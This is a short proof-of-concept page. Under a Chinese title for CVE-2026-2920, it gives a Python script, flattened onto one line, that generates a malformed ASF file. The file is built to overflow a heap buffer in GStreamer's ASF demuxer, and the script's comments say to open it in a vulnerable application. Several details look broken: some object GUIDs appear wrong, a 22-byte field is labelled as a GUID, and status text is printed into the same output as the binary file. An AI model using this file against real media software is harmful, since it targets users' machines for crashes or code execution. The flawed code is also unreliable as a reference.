CVE-2026-2920 GStreamer ASF Demuxer堆缓冲区溢出远程代码执行漏洞

/* * CVE-2026-2920 PoC - GStreamer ASF Demuxer Heap Buffer Overflow * This PoC creates a malicious ASF file with oversized stream header data * to trigger heap buffer overflow in GStreamer's ASF demuxer component. * * Usage: python3 generate_poc.py > poc.asf * Then open poc.asf with an application using vulnerable GStreamer version */ import struct import sys def create_asf_header(): """Create ASF file header with malicious stream header""" # ASF Object Header GUID for Header Object asf_header_guid = bytes.fromhex('3026B2758E66CF11A6D900AA0062CE6C') # Header Object Size (will be updated) header_size = 104 + 78 + 50 # header + file properties + stream properties # ASF File Properties Object file_props_guid = bytes.fromhex('8CABDCA1A94739C4692D7DEB3F0B4B8B') file_props_size = 104 # ASF Stream Properties Object - This is where the vulnerability lies stream_props_guid = bytes.fromhex('B7DC0791A9F74B558F40D9B2F38A7D1D') stream_props_size = 78 # Create stream properties with oversized length field stream_type_audio = bytes.fromhex('F8699E40C2BB21D68A200D956C6677D9') # audio stream # Malicious stream properties with oversized error correction data length # This triggers the heap buffer overflow in GStreamer error_correction_data_length = 0xFFFF # Oversized value causing overflow error_correction_data = b'\x00' * error_correction_data_length # Build the PoC ASF file structure poc_data = bytearray() # ASF Header Object poc_data.extend(asf_header_guid) poc_data.extend(struct.pack('<Q', header_size)) poc_data.extend(struct.pack('<I', 3)) # number of header objects poc_data.extend(struct.pack('<I', 0x00000002)) # reserved # File Properties Object poc_data.extend(file_props_guid) poc_data.extend(struct.pack('<Q', file_props_size)) poc_data.extend(bytes.fromhex('00' * 16)) # file ID poc_data.extend(struct.pack('<Q', 0)) # file size (unknown) poc_data.extend(struct.pack('<Q', 0)) # creation date poc_data.extend(struct.pack('<Q', 0)) # data packets count poc_data.extend(struct.pack('<Q', 1000000)) # play duration poc_data.extend(struct.pack('<Q', 0)) # send duration poc_data.extend(struct.pack('<Q', 0)) # preroll poc_data.extend(struct.pack('<I', 0x00000001)) # flags poc_data.extend(struct.pack('<I', 0)) # minimum data packet size poc_data.extend(struct.pack('<I', 0)) # maximum data packet size poc_data.extend(struct.pack('<I', 0)) # maximum bitrate # Stream Properties Object with malicious data poc_data.extend(stream_props_guid) poc_data.extend(struct.pack('<Q', stream_props_size + len(error_correction_data))) poc_data.extend(stream_type_audio) poc_data.extend(bytes.fromhex('00') * 22) # error correction type GUID poc_data.extend(struct.pack('<Q', 0)) # time offset poc_data.extend(struct.pack('<H', 0)) # type-specific data length poc_data.extend(struct.pack('<H', error_correction_data_length)) # malicious oversized length poc_data.extend(struct.pack('<I', 0)) # error correction data length poc_data.extend(struct.pack('<H', 0)) # flags poc_data.extend(struct.pack('<H', 0)) # reserved poc_data.extend(error_correction_data) # Oversized data causing overflow return bytes(poc_data) if __name__ == '__main__': print('Generating CVE-2026-2920 PoC ASF file...') poc = create_asf_header() sys.stdout.buffer.write(poc) print(f'\nGenerated PoC file: {len(poc)} bytes', file=sys.stderr)